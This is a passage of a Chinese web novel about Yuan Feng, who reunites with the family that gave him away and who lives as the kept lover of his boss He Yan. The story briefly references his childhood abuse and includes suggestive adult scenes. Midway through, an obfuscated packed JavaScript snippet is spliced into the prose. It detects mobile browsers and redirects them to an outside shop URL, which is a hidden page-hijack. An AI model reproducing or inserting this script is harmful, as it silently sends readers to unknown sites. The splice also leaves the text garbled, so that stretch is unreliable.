本以为不会有印象,双脚却仿佛有了自己的意识,带着他一步一步走向记忆中的那个家。 借着月色,元丰看清了前方那栋老旧的瓦房,院前停了一辆三轮摩托车。 他步伐缓慢地朝前走着,每靠近一步,童年的点滴回忆便一帧接一帧地涌入脑海。 “哥,我能看看另外几本不?” “女孩子本来就爱哭。” “哥哥,我走不动……” 时隔多年,长大成人的元丰多少有些理解父母的苦衷。 独自流浪的日子里,养活自己很辛苦,能吃饱就算不错的,别说再养三个小孩儿了。 到了瓦房正门口,元丰做了好几个深呼吸之后才放下特产,抬手敲起门。 敲了好一会儿,他听到屋里传来一道略微粗犷的男声。 “谁啊?” 是陌生又熟悉的嗓音,元丰平静下来的内心开始变得紧张不安。 他没吭声,继续敲了两下。 元志强趿拉着鞋,走到外屋打开灯。这么晚了,他以为是着急来借摩托车的老刘。 门一打开,外面站着一个长相清秀,穿着体面的年轻人。 记忆中模糊的脸有了清晰的轮廓,元丰却觉得很陌生。 眼前的男人身材干瘦,满脸沧桑,额上刻着很深的岁月痕迹,他穿着破洞抽了丝的白色背心,裤衩也皱巴巴的。 元志强震惊地看向来人,只愣了短短两秒,随即缓过神来。 像是无法确定,他一把拽住年轻人的手腕,语气又急又慌:“是……是小丰不?你是小丰?!” 元丰没说话,他低头看了眼手腕,带着厚茧的粗糙大手很硬,每个指甲缝里都有洗不干净的黑泥。 儿子的变化实在太大,元志强想问的太多,一时半会儿不知从何问起。 他尴尬地拿开自己的手,热情招呼:“小丰,快进屋坐。” 元丰拎起地上的特产走进屋里,元志强这才注意到他买东西了,赶忙伸手接过:“还买啥东西啊?你留着自个儿吃。” “给你们的。”元丰说。 元志强有些不好意思:“包装瞧着挺好,不便宜啊……” “没多少钱。”元丰放下背包,准备把存了十五万的银行卡拿出来时,身后传来另一道声音。 “是小丰回来了?” 他回头看去,东屋里走出一个面黄肌瘦的苍老妇女,她穿着一套与年龄不符的粉色睡衣套装,凹陷的脸颊与皱纹让她显老了十岁不止。 王金凤看向失散多年的儿子,眼眶逐渐湿润。她缓慢走上前,哽咽道:“是小丰回来了……” 元志强扶住妻子,激动地说:“是啊,小丰特地回来看你了,还买了特产。” 为什么…… 元丰攥紧手中的银行卡,想不明白,记忆中的父母怎么会苍老成这样?没有我这个累赘,你们为什么还过得这么苦? 为什么要让我难受…… 看着面前这对陌生的长辈,他发现自己连一声“爸妈”都叫不出口。 挂满蜘蛛网的房梁,斑驳龟裂的石灰老墙,脱落的墙皮碎屑。这栋老屋,也留下了岁月的痕迹,不再是记忆中的面貌。 元丰看不下去了,深刻地体会到物非人也非的滋味儿。他将手中的银行卡塞回背包暗袋里,换成另外一张。 随着年龄与社会阅历的增长,仇恨变得不再鲜明,让人恍惚间以为自己放下了。当元丰走进这栋老屋时,大脑不受控制地想起那个男人,毛骨悚然的恶心感再次缠身。 他这才明白,时间根本治愈不了一切,无法释怀的那段过去就像人的影子,它不会时时刻刻出现,却永远都存在。 而他现在唯一能做的,就是将存了二十三万人民币的银行卡,交给这对苍老的中年夫妇,算是报答十一年的生养之恩。 在丈夫的搀扶下,王金凤走到儿子跟前,枯瘦如柴的手伸向半空却又放下了。 她有太多太多的话想说,最后只是哽咽地说:“孩子,这些年……你受苦了……” 元志强的情绪依旧很激动,他说:“小丰,回来几天啊?我明天一早就打电话让小梅小秋她们回来。小俊开学了,学校里不给放,我明晚接他去。” 听到熟悉的小名,元丰内心百感交集。 他不想再面对令自己心酸难受的父母,于是将银行卡放在掉了漆的八仙桌上,“不用了,我明天就走,这银行卡里有二十三万,密码写在卡后面了。” 夫妻二人听到这话,双双愣住。 元丰背上背包,为了让二人放心,他简短地说道:“我这些年过得挺好的,现在在一家大公司里做经理,工作稳定。这卡你们收着吧,我手上还有富余。” 元志强见儿子刚来就要走,他松开妻子,拿起桌上的银行卡塞回儿子手里,语气又开始急起来:“你还愿意回来看看,我跟你妈就高兴了。这卡你拿回去,我们一分都不要!” “是啊。”王金凤也在一旁说,“小丰,快把卡收起来。” 元丰拒绝接受,把卡往回推:“收下吧,这次回来就是为了这个事儿,我走了。” “这咋刚进屋就要走啊?”元志强拉着儿子不让走,“小梅他们几个还没回来,留下来吃饭,我明早就去接小俊。” 王金凤见儿子要走,顾不上虚弱的身体,上前拉住他的胳膊:“小丰,我对不起你……”她说着,缓缓地屈膝,跪在了儿子面前。 元丰惊得瞪大双眼,立刻弯腰将跪在地上的母亲给扶起来,“这是干啥啊?!都过去了,我,我早忘了!” “小丰,是我对不起你!”元志强想起那些不堪入目的偷拍照片,悔恨得当场抽了自己一嘴巴。这种事儿,要一个十一岁的孩子如何去承受? 这样的画面,是元丰怎么都没料到的。他爸猛地握住他的手,语气异常激动:“那个畜生死了我才晓得你这孩子受了多少委屈,你妈因为这个事儿,哭了好几宿。我悔恨啊我……我去镇上县里到处打听,不知道上哪儿寻你。怪我一时糊涂啊……信了那畜生的鬼话,以为能让你把病给瞧好。” 死了? 元丰愣愣地站在原地,过了好一会儿,他像是在问父母又像是自言自语:“现在说这些还有啥意义,你们不还是把我给卖了吗……” “咋舍得把你卖了……那畜生过了俩月才给我打电话,说正在带你瞧病,瞧完不回来了,以后就在大城市念书。”元志强说到这儿叹了口气,说不下去了。 正是因为这通报平安的电话,他才彻底放心,没再过问。 也因为太过相信兄弟,当时忙着卖菜的他根本没去多想,只想着儿子以后也算半个城里人了,能在大城市过上好日子。 “等不到电话来的那阵子,你爸隔三岔五就上邻村看看,那新房子一空就是好多年……”王金凤抬手抹了抹眼泪,也说不下去了。那些照片虽然被烧掉了,可却实实在在地扎着她的心。 “……”元丰张了张嘴,不知道该说什么。 从父母的只言片语里,他明白了一切都是那男人的谎言。可他不是傻子,他知道那些谎言半真半假,父母嫌弃自己这副身体,是不争的事实。 即便过继是真的,对他来说,也跟抛弃没什么两样。但得知父母并没有将自己贱卖,他心里多多少少舒服了些。 最终,元丰同意留下来吃完饭再走。不为别的,他确实有些想见见两个妹妹和弟弟,下次应该不会再来了。 那张银行卡,他父母死活没收,被塞回了背包里。 在这间有人曾经给自己讲过许多故事的西屋里,元丰躺在床上辗转反侧,难以入睡。 那男人真的死了吗? 如果死了,为什么他躺在这儿还会犯起阵阵恶心。 屋外传来窸窣的动静,元丰闭上双眼,似乎有人过来了。明知来人是谁,可那轻轻的脚步声竟让他有种如临深渊的感觉。 他迅速坐起来,下床开了灯。 王金凤没想到会吵醒儿子,面上有些尴尬:“我就是想来看看你……” 元丰低低地嗯了一声,坐回床边。 儿子明天就要回去了,王金凤心里百般不舍。她缓缓走到床边坐下,开始没话找话:“小丰啊,处对象了吗?” 元丰一愣,脑子里突然闪过贺总那张硬朗帅气的脸,跟着想起昨晚打的那场炮。 他咳了两声,回道:“还没有。” “是不是着凉了?”王金凤关心道。 “不是。”元丰捏了捏自己的喉结,“嗓子有些痒。” “赶路过来都没怎么喝水吧?我去给你倒杯水。” “不用!”元丰立刻拉住要起身的母亲,又很快松开,“我喝过了。” “那行,要喝水就跟我说。” “好。” 王金凤的目光一直停留在儿子身上,他身上穿的衣服瞧着挺好。 她不敢问太多,只能问那些最基本的。因为话题敏感,也没催着儿子找对象,而是问他在哪个城市发展,公司里是做什么的。听着完全不懂的金属材料,她笑着夸儿子厉害能干,是个有本事的。 一个人躺在这屋里容易胡思乱想,所以元丰没太抗拒跟母亲聊天。多年未见的隔阂与生疏,让他心中感慨万千。 “明天下午走啊?”王金凤问道。 “嗯。”元丰纠结了片刻,还是问了出来,“真的死了吗?” 王金凤怕儿子回忆起那些过往,才没提赵民淞的事儿。停了好半晌,她才说:“死了,年前在县城里喝多了,开湖里去了。也没个亲人,还是你爸给办的丧。我跟着你爸一块儿去了新房子里,这才知道……” 母亲虽没说下去,元丰却猜出了结果,那些照片大概被那人带回家收藏起来了。 “小丰……”王金凤犹豫了好一会儿,到底是没问出口。 元丰知道母亲想问什么,他故作轻松地说:“我没事儿,后来跑出来了。” 王金凤难受地点点头:“没事儿就好……” 后来的谈话里,元丰从母亲口中得知,赵民淞一走就是十年,直到去年夏天才回来。给出的说辞是当年医生建议保留另一部分,他的生理性别将会彻底变为女性,不再是男性,所以他接受不了这个事实,在住院期间偷偷跑了。 这个男人诚恳地向父母认错道歉,说这些年一直在努力找他,从未放弃过。 事已至此,人也死了。 元丰没有告诉母亲,其实他根本没去过任何医院,赵民淞带他去了某个偏远小城。在那座小城里,他们同吃同睡,一起生活了三个月。 “老元,家里要来客啊?” 正在院门口杀鸡的元志强听到邻居问话,笑着否认道:“哪儿来的客啊,镇上烟酒店老板要的,杀了给他送过去。” “哦,有小丰的消息了不?”张翠芳问道。 元志强心里激动,想说自己那失散多年的大儿子已经回来了。奈何眼前这婆娘是个爱嚼舌根的,他今天就想一家人好好团聚团聚。 张翠芳见老元不吭声,只能尴尬地笑笑,端着盆子走了。 蚊香的味道有些呛人,元丰一宿没睡好,还被灭不掉的蚊子咬了五六个包。 起床简单洗漱后,他犹豫着要不要到屋外走走,可一想到村里人的朴实与热情,最终放弃了。 屋里很安静,东屋的门敞开着,里面也没动静。元丰准备过去看看时,注意到八仙桌上的红蜡烛,蜡烛底下压着一张纸。 他走过去才看到纸上有字,是他爸留下的字条,写着锅里有粥和煮好的鸡蛋,叮嘱他趁热吃。 迟疑片刻后,他决定先吃早饭。 这栋老屋,只有厨房还是过去的样子。元丰在门口足足站了有两分钟,脑海里浮现出有关这间厨房的回忆。 他从大锅里盛出冒着热气的白粥,随后端着粥碗,坐在灶台旁的小马扎上,安静地吃了起来。 元丰走进东屋,母亲正准备做透析,干瘦的两只手在连接软管。那么一大袋子药水,据说一天就得做好几次,一次起码四小时。 他依旧喊不出那声妈,只能环顾四周,屋里环境并不太好,角落的纸箱子里装着几袋腹透液。 王金凤一抬头,见儿子过来了,露出笑容:“小丰啊,锅里有你爸煮的粥和鸡蛋。” “我吃完了来的。”元丰往里走了些,他指着角落的纸箱子,“就剩这么几袋了吗?” 王金凤怕儿子又像昨晚那样要给钱,赶忙说:“还有,没在家里放着,回头你爸抽空就运回来。” 元丰点点头,沉默了。 王金凤笑着说:“你爸一早就给小梅小秋打电话了,她俩高兴坏了。” “小梅小秋她们都在镇上?”元丰只能想起九岁的元梅和七岁的元秋,都说女大十八变,他完全想象不出两个妹妹现在的模样。 “前年镇上来了个大老板,盖了厂。”王金凤语速缓慢道,“小秋在那厂子里上班,管吃管住。” 十八岁就上班了,元丰猜测两个妹妹可能只念到初中。他没再细问,农村的姑娘一长大,家里着急的会给安排相亲,催着结婚。然而他没想到,自己的妹妹已经嫁人了。 当二十岁的元梅挺着肚子出现在眼前时,元丰真真切切地感受到,不光是父母,连妹妹都变得如此陌生。 一旁的元秋主动打破沉默的气氛,她走到元丰跟前,感叹道:“哥,你长得真帅啊,比我厂子里那些男的好看几万倍!” 元丰愣住了,小秋长得跟小时候不太一样了,性子倒是一点儿也没变。 元梅见到大哥有些不好意思,不过有了妹妹开的头,她也走上前,叫了一声哥。 元丰说不上心里什么滋味儿,他笑着点头,试着叫出曾经喊过无数次的小名。 “小梅,小秋,好久不见。” 一句“好久不见”,让姐妹俩逐渐湿了眼眶。 元丰看向二妹的肚子,岔开话题:“小梅,宝宝啥时候出生啊?” “哥,你还有两个多月就当舅舅了!”元秋说道,“是姐夫送我们过来的,他还想过来跟你打招呼,姐没同意他来。” “今天是咱们一家人团聚的日子,他来凑啥热闹。”元梅说着,摸上了隆起的孕肚。 自己居然要当舅舅了…… 元丰本以为二妹可能是被家里逼着相亲,早早地嫁了出去,但从元梅的神情中可以感觉得出来,对自家那口子是有感情的,或许二妹也是不想给家里增加负担。 兄妹三个没叙多久,元志强带着小儿子到家了。父子二人进屋时,元丰发现弟弟比两个妹妹还要来得陌生,已经完全认不出来了。 自己走的时候,小俊才三岁,肯定不记得哥哥了吧。 元俊径直走到陌生无比的哥哥跟前,主动笑着打起招呼:“哥,你回来了。” 元丰一看这架势就猜到元俊肯定在回来的路上被父亲叮嘱过了,但听到这声哥,心里还是挺高兴的。 他冲弟弟笑了笑:“小俊,上初几啊?” “哥,我今年上初三了!”元俊回道。 “都上西屋待着吧,爸去给你们做饭。”元志强拎上菜,乐呵呵地去了厨房。 西屋里,元丰跟妹妹弟弟一块儿聊着天。他们心照不宣地没有提起过去,气氛也从最初的生疏变为融洽。 中午的饭菜很丰盛,还有卤好的酱牛肉。 元俊夹了好几片放进大哥的碗里,“哥,你多吃点。” 元志强给老大老二各夹了一个鸡腿,他冲老三老四说:“你俩一人一个鸡爪子。” 元秋笑眯眯地说:“爸你真懂我,我就爱吃鸡爪子。” 元俊点点头:“我跟三姐一样,也爱吃。” “小丰。”王金凤在一旁说道,“吃完了睡会儿,下午让你爸送你去火车站。” 元丰低头看着碗里的牛肉和鸡腿,突然觉得鼻子有些发酸,隔了十一年,一家人终于重新相聚在一起。 出发之前,元丰把二妹单独叫去厨房了解了母亲的具体情况。 比起昂贵的手术费用,肾源才是最关键的。有些病人等了几年都没等上,所以光有钱还不够。 他把裤兜里的银行卡掏出来递给元梅,“小梅,这卡里有二十三万,等我走了你再给他们。” 元梅摇摇头:“哥,不用了。我一直存着的彩礼钱,妈也没要。” “你拿着。”元丰强行塞到妹妹手里,“东屋那环境不行,还是得上医院。” “哥,你这些年过得特别辛苦吧?”元梅把银行卡放在灶台上,“妈不会要的,其实每天这么透析也挺痛苦的。妈早就……放弃了……” 元丰见妹妹说到哽咽,赶紧安慰她:“你现在有宝宝了,不能哭。痛苦是因为在家没人照顾,要是在医院里就有医生跟护士,所以必须得去。肾源的事儿,我回去问问那儿的大医院,没准能轮上。” “谢谢你啊,哥。”元梅擦了擦眼泪,“妈一直跟我念叨你,你还肯回来看她,我真的特别高兴……” “好了,不能再哭了。”元丰拿起灶台上的卡,重新塞回妹妹手里,“回头你跟我电话联系,这二十三万先用着,不够我还有。” “哥,你自己留着吧。将来还要娶媳妇儿,花钱的地方很多的。”元梅很痛苦,她舍不得母亲,可也不想接受大哥的帮助。 “钱花光了还能挣。”元丰拿出大哥的姿态,叮嘱道,“有希望就不能放弃!你哥现在是经理,手底下还管着好些员工。” “这都是你的血汗钱……” “小梅,你看你现在有自己的家了是不?你有对象,马上还要有个小宝宝。”元丰说起自己这些年的感悟,“人这一辈子啊,就图一个家。家是啥?就是谁也不能少。完整的家,才有个家样儿。” 元梅听到这话眼泪又下来了,哭着道歉:“哥,对不起……我们都对不起你……” “你快别哭了。”元丰笑着跟妹妹说,“其实没你们想的那么苦,也挺有意思的。” “哥,你别骗我了……” “骗你干啥?真的。” 哥哥的态度很坚决,元梅拒绝不了,不得已收下了银行卡。 见妹妹把卡收了起来,元丰才放心。他看着妹妹肚子,好奇道:“是男孩女孩?” 元梅摇头:“我也不知道,隔壁张婶说看肚子像是男孩。” “肚子还能看出性别来?”元丰诧异。 “她们说可以。”元梅摸了摸肚子,“不过确实调皮,他老踢我。” 元丰觉得很神奇,他问:“能摸摸吗?等你生孩子,我估计赶不回来。” “当然能啊。”元梅笑了。 元丰伸出手,轻轻贴上了妹妹的肚皮,触感有些怪怪的。他试着摸了摸,笑道:“大外甥咋不动了?睡着了?” “哥,好像是的。” “真会挑时候。”元丰刚要松手,奇怪的触感来了。尽管隔着衣服,他还是能感觉到肚皮在蠕动,有什么东西滑过去了。 “哥,他刚才动了!” 元丰弯腰凑近妹妹的肚子,冲里面喊了一句:“臭小子,我是你舅舅,知道不?” 一辆绿色的三轮摩托车突突突地行驶在永坍村的水泥小道上,车上那个穿着体面的年轻人引起了村民们的注意。 元志强这回没再憋着,但凡遇上扯着嗓门问年轻人是谁的,他都会笑着大声说道:“我们家小丰回来嘞!” 村民们这才知道,老元家失散多年的大儿子回来了。只是还没来得及多瞧上两眼,摩托车就跑远了。 元丰看着坐在对面的少年郎,笑着问:“小俊,学习成绩咋样啊?” “还没月考,不知道名次。”元俊不好意思地挠挠头,“之前是年级前十名。” “嗬,前十啊!真不错。那在班里排第一了,是不?”元丰心想,这聪明的小脑瓜子,真不愧是他亲弟弟。 少年青涩稚嫩的脸上闪过一丝尴尬:“排第二,班里有个成绩比我还好的,我每次都考不过他。” “考不过咱就不跟他比。”元丰笑着夸,“第二也很厉害,晓得不?初三好好学,明年考个重点高中给哥瞧瞧。” 元俊用力点头:“哥,我会好好学习的!” 元志强怕耽误大儿子坐火车,冲小儿子说道:“小俊啊,咱先送你哥去火车站。” “好的,爸。”元俊自己也想多跟哥哥待会儿。 元丰原计划是在镇上找个旅馆住一宿,赶明天早上的火车。但他最近这阵子老频繁请假,对工作也有影响,所以他决定今晚就走,正好能抽出时间去一趟医院,好好咨询下情况。 到了火车站,元志强叮嘱俩孩子在进站口等着,自己去附近的超市给大儿子买了些粮食和水。 “哥,对不起。” 元丰现在最不想听到的就是这三个字儿,他拍了拍弟弟的肩膀,“说啥乱七八糟的,哥不爱听。” “不是乱七八糟。”元俊低下头,“哥,二姐说我是你带的,你每天都背着我下地干活儿。三姐说我调皮不懂事儿,小小年纪就会欺负人,还总是要你背。” “可是这些,我都记不得了……对不起啊,哥。” 元丰扑哧一笑:“你那会儿才三岁,小屁孩子一个,咋会记得啊?” “哥,你以后还会回来吗?”元俊抬起头,犹豫着问出了心中所想。 看着如此乖巧懂事儿的弟弟,元丰觉得小时候没白疼。 他抬手揉了揉弟弟的小寸头,笑着点头,“回啊,等过年的。到时候哥给你带好吃的回来,好不好?” “不要好吃的。”元俊也笑了,“哥,我已经长大了,不吃小孩子那些玩意儿。” “你才多大岁数,就长大了?”元丰将弟弟整个人自上至下扫了一遍,问道,“小俊,你多高啊?” “之前学校体检时是一米七,现在不知道。” “……” 行吧,就冲这身高,还真是长大了。 元丰心生羡慕的同时,感叹老天爷还是有眼的,至少弟弟健康成长了,脑瓜子又聪明。 “小丰,拿着在车上吃。”元志强把买来的东西交到儿子手里,叮嘱道,“到站记得给爸来一电话,啊?” 塑料袋是透明的,元丰看见了矿泉水和好几种口味的面包以及八宝粥。他接过袋子,却依旧喊不出一声爸,只好点头说谢谢。 元志强笑着擦了擦额头的汗:“你这孩子,谢啥啊?快进去吧。” “哥,等你回来。”元俊冲哥哥露齿一笑。 元丰笑着说了声好,进站走了几步之后,他回头发现那对父子还在,于是抬手挥了挥,大声喊道:“快回去吧!” 然而不远处的父子二人却站在原地没动,还冲他笑着挥手。 漫无目的地漂泊了这么多年,元丰突然有些期待春节的到来。他有地方回了,不用再一个人吃饺子,一个人过年。 人生,似乎有了归处。 陈硕窝在家里看了两天的电视剧,第三天是元丰回来的日子。 手机里的备忘录在八点准时提醒了他,有件事需要在今天请示贺总。他算着开完会的时间点,去了恒信集团。 “陈助理。”邵彤笑道,“来得好巧,贺总刚开完会。” 陈硕点头打了声招呼:“邵助理,早上好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658615|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “早上好。”邵彤问,“老规矩?” “今天不喝了,谢谢。”陈硕伸出双手,“咖啡我端进去吧。” “那麻烦你啦。”邵彤将装着咖啡的托盘递了过去。 陈硕单手举着托盘,在虚掩着的门上不轻不重地叩了两下。“进来。” 得到准许后,他才轻轻地推开门,端着咖啡走了过去。“贺总,您的咖啡。” 听到私人助理的声音,贺颜抬起头:“什么事儿?” “贺总,第二个月了。”陈硕请示道,“今天是支付费用的日子。” “已经到日子了?”贺颜问。 “是的,贺总。” 气氛陷入沉默,陈硕偷偷观察着贺总,见对方似乎在思考什么,于是主动说道:“贺总,元先生今晚回来。” 贺颜端起咖啡喝了一口,问:“几点到?” “几点还未确定,元先生说会打电话给我。” 贺颜想起元丰走之前承诺的一条龙服务,于是吩咐助理:“你给他打一个电话,确定下时间。” 善于察言观色的陈硕毕竟做了五年的私人助理,多多少少能猜到贺总的想法。 为了避免元丰叫错称呼,等电话一接通,他立刻说道:“元先生,你晚上大概几点到?” “是陈硕啊……我好困……” “……”陈硕心里一慌,继续说道,“元先生,请问你几点下火车?到时候我去接你。” “嗯……” 察觉到贺总的视线,陈硕想挂电话的心都有了。硬着头皮又问了一遍:“元先生,你几点下火车?” “啊……”电话那头的人似乎清醒了些,还打了个大大的哈欠,“早上六点就回来了,好困啊……我先补个觉,醒了再找你。” 挂完电话后,陈硕低着头,赶在贺总开口之前解释道:“贺总,元先生多次提过直呼本名方便些。” 带着睡意的声音听上去倒有几分撒娇的味道,贺颜放下咖啡杯,看向自己的助理:“是么?” “是的,贺总。”陈硕第一次在衣食父母面前撒了谎,如果让贺总知道他跟元丰私下关系不错,甚至还一起看过宫斗剧,后果恐怕很严重。 贺颜没再多说什么:“给你一周时间,教会他开车。” 陈硕领命:“是。” 元丰在舒适的大床上睡了个天昏地暗,醒来时已经晚上六点了。 他神清气爽地从床上爬起来,肚子饿得咕噜叫了两声。刘姨今天应该不会过来了,他套上宽松的运动裤准备出去解决晚饭,结果刚打开卧室门,饭菜香直窜入鼻。 昨晚在火车上只吃了面包和八宝粥,元丰就差闻着味儿飞到餐桌旁了。 他迈着大步走向客厅,在看到餐桌前的男人时,猛地一愣。 贺颜听到动静抬眼看去,两天未见的小情儿正盯着他发愣。睡乱了的头发没有打理,垂在额前,看上去倒真像个大学生。 这来得也太不凑巧了,元丰吃完饭还要上许辉那儿一趟,跟好兄弟叙个旧。 他走到餐桌前,冲男人挤出一个笑:“贺总,真巧啊。我这刚回来没多久,你就过来了。” “自己去盛饭。”贺颜估计这小子睡傻了,也没揭穿。 “哦,正好饿了。”元丰注意到贺总面前的空碗,主动问,“贺总,我给你再盛一碗啊?” “行。”贺颜把碗递给他,“少来点。” “好。” 刘姨烧的菜实在太香太下饭,元丰给自己装了满满一大碗白米饭。 一坐下,他就开始狼吞虎咽地吃起来。吃美了还不忘叽歪一句:“这洋葱炒肉怎么这么香,贺总你也动筷子啊。” 贺颜把那盘洋葱炒牛柳端到他跟前:“火车上没饭吃?” “有啊。”元丰嚼着软嫩多汁的牛柳,等咽下肚了才说,“没吃饱。” 经过这阵子的相处,贺颜发现元丰的胃口不小,还挺能吃。 那嘴平时就闲不住,吃上饭了也没闲着。话虽多,不过以前的状态倒是回来了。 “老家有喜事儿?” “没啊。” “嗯,吃吧。” 元丰又扒了两口饭,过了会儿,他说:“其实有一件,我要做舅舅了。” 贺颜点点头:“挺不错。” “他还踢我了,特神奇。”元丰说完,不禁感慨道,“时间过得太快了,真是光阴似箭啊……” “所以别浪费时间。”贺颜说。 “……”元丰正在脑子里搜寻着与时间有关的诗句,他刚想到“少壮不努力,老大徒伤悲”,准备接着感慨时,被贺总这话噎得无语了。 “发什么愣?”贺颜盯着元丰,“之前电话里怎么说的,今晚怎么做。” 要是昨晚没跟许辉约好,元丰还能让贺总插个队。 他面露难色:“贺总,我今晚得早点睡,明天起早就要去公司。请了三天假,手上一堆活儿要处理。” “睡了一天,还没睡饱?” “……” 还真是睡傻了,贺颜一笑:“跟陈硕关系挺好?” “……” 元丰这才想起自己好像在睡觉时接过一通陈硕打来的电话。操,原来是真的。 初秋的天依然闷热,导致车厢里各种难闻的味道混杂在一起,再加上嘈杂的环境,元丰这趟回来受了不少罪。 他运气不好,买到上铺车票不说,包间里的其他三个男人一边斗地主一边抽烟,其中两个还是香港脚。 他整整一宿没睡,脑子昏昏沉沉地坚持到了医院,弄得医生以为他才是尿毒症患者。回到锦西湾,他连睡觉都在做梦,梦见自己还在火车的上铺闻着脚臭味儿,接着陈硕打来的电话。 等醒来,彻底忘了这一茬。 贺颜起身说道:“吃饱了过来。” “贺总,明晚行不?”元丰跟着站起来,打起商量,“我确实没睡饱,想早点睡啊。” 贺颜看着神清气爽的元丰,皱眉道:“回一趟老家,话都不会听了?” “不是啊。”元丰只能抛弃兄弟了,他坐回椅子上,“那我把饭吃干净再过去。” 贺颜伸手摸了把元丰细软的黑发,提醒道:“光阴似箭。” “……” 元丰盯着还剩两口米饭的碗,拨通了许辉的电话。 “小丰,到哪儿了啊?” “不过去了,公司临时有事儿,等空了我再找你。” “操,还没上班就压榨你?你们经理忒不是人!” “压榨”俩字儿说到元丰心坎里去了,回老家之前,贺总就压着他连续折腾了好几天。这刚回来,又他妈要提供一条龙服务。 他拒绝不了这无缝衔接的夜生活,只能嘴上发发牢骚:“是啊,妈的就知道压榨我。” “忍忍吧。”许辉安慰,“谁让咱们都是给老板打工的,等哪天不干了,都去他妈的。” “没事儿,我都习惯了。”元丰怕贺总久等,快速说,“先不说了啊,要去干活儿了。” “你忙你的,得空再联系。” “好嘞。” 老家这一趟回来,元丰心里其实是有些感激贺总的。下火车第一时间,他就去了最大的三甲医院,挂了肾内科咨询情况。肾源虽少,但坚持下去是能看到希望的。运气好的话,一两年内就能等到配对的肾源。 他已经想好了,让元梅先帮着安排母亲住到镇上的医院,换个好点的环境,继续等着肾源的配对。关于包养合同,他打算等到贺总主动提出结束。 他不知道贺总会包养自己多久,到时候刨去看病那些费用,如果有富余,那就全部退还。 元丰还没给贺总来过正儿八经的一条龙服务,进卧室之前,特地用手机搜了下完整的流程。也算是为了感谢贺总提供的资金帮助,他决定今晚好好伺候对方。 光顾着回忆流程和细节,等脱完衣服裤子元丰才发现自己忽略了重要的东西。 他走到卫生间门口,想跟正在洗澡的男人打声招呼再下楼。 “贺总。” 贺颜抹去脸上的水,看向门口:“怎么这么磨叽?过来。” 水流顺着健硕挺拔的男性身体,从强劲有力的背肌再到紧实的腰,一路往下流淌。随着贺总擦脸的动作,那完美的肌肉曲线看得元丰大脑一空,忘记要说什么了。 看到元丰发愣中带着痴迷的神情,贺颜估摸着他老毛病犯了。那细胳膊细腿,练上一两年都未必有效果。 “脱了。” “……”元丰回过神,身体在不知不觉中又犯毛病了,他赶紧说,“贺总,少一样东西。你先洗啊,我下楼去便利店看看有没有卖的。” 这小子太久没整幺蛾子,贺颜以为学乖了。 他问:“少什么东西?” “说出来多没意思啊。”元丰卖起关子,“这可是一条龙里的精髓,得先保密。” 精髓这玩意儿,没有贺颜不懂的。按元丰的尿性,恐怕不是什么好东西。 “贺总,我先走了啊。” “走哪儿去?” 元丰以为贺总不说话就是同意了,这怎么还明知故问呢?他纳闷道:“刚说了啊,我去便利店。” “都不孕不育了。”贺颜问,“怕什么?” 元丰秒懂,知道贺总误会了。他解释说:“不是买套,是别的。贺总你要是想戴的话,我也可以买啊。” “你这嘴,就该拿胶条封起来。”贺颜命令道,“过来。” “……”元丰不得不走进卫生间。 …… 习惯真是太可怕了,元丰心想。 明明以前那么恶心抗拒,现在不光没有心理负担,连技术都突飞猛进。 …… “哎哟……疼疼疼……” “胶条都封不住你这嘴。” 元丰揉着被捏痛的脸颊,不想干了,可承诺过的事儿还是得说到做到。 “贺总,这一条龙还没安排上。” “啰唆什么,赶紧的。” 贺颜就没指望元丰能玩出什么新花样,一到床上还得他亲自来。当看到小情儿端着一盆水从卫生间走出来时,他倒有些意外了。 元丰把装着热水的盆子放在地上,拍了拍床沿:“贺总,你坐这儿。” 贺颜走过去坐下:“怎么个意思?” “一条龙的第一步啊。”元丰蹲在地上,抓起贺总的两只脚放盆里,“水有点烫,我先给你做个足疗。” “……” “脚不脏,随便泡泡得了。”元丰把手伸进水里搓着贺总的脚背,“等做完足疗,再来个全身推拿,给你好好消除疲劳,放松放松肌肉。” 接下来的内容,贺颜不用听也猜了个大概。他问:“做完推拿,还有么?” “有啊!彻底放松身体,好好睡上一觉。” “这就是你的一条龙服务?” 元丰点点头:“对,足疗推拿一条龙。本来还有个的,你不让我下楼。” 还有个是什么,贺颜已经没兴趣知道。 “泡得差不多了,我去拿个毛巾给你擦擦。” “去吧。” 贺颜靠在床上,盯着正在给他按脚的臭小子,打趣道:“手法不错,可以改行做技师了。” “真的假的?”元丰第一次做这个,被夸得有些得意。 他一边卖力按着一边胡诌道:“这按脚的学问可大了,按完保管你通体舒畅,一觉到天明。” 贺颜笑了:“以后在家当技师,我给你开工资。” “那不行!”元丰用力刮着贺总的脚底板,问道,“贺总,这样舒服不?” 贺颜就没舒服过,这“技师”的手法糟糕得一塌糊涂。 他敷衍地点点头:“挺不错,今天就到这儿吧。” “啊?”元丰抬起头,“贺总,你要回去了?” “该办正事儿了。”贺颜说。 元丰一听贺总要走,心中窃喜。他放开贺总的脚,“行吧,那这推拿我给你记着,下回你想要了再补上。” 贺颜今晚的目的很明确,三门必须给开齐了。他将准备下床的元丰拉到跟前,“谁让你走了?” “……” 12. 第 12 章 老板下的命令,员工只能乖乖受着。元丰怕贺总又要变态,小心地问道:“贺总,今晚走哪个门啊?” 贺颜盯着元丰那副小心谨慎的样子,难得在正事前开起玩笑:“你猜猜,对了有奖。” 元丰不想要奖励,只想少受点罪。他又问:“奖励我可以自己挑不?” “可以。”贺颜捕捉到元丰的小眼神,补了一句,“在我能接受的范围内。” 元丰就知道贺总这人不可信,能给的奖励除了钱还是钱。 他想着上回是前门,今晚怎么着也该是后门了,于是回道:“后门。” “答对一半,奖励取消。” “……”元丰没懂,“啥意思啊?怎么就取消了?” 贺颜没接茬,“去把东西拿出来。” 元丰纳闷地拉开床头柜抽屉,看着里面老三样,突然来了想法,边上的瓶子里被用得差不多了。 本着有始有终的态度,他说:“贺总,要不还是别留着下回了,我现在就给你按一按。” 贺颜笑了笑:“你这当技师还当上瘾了?” 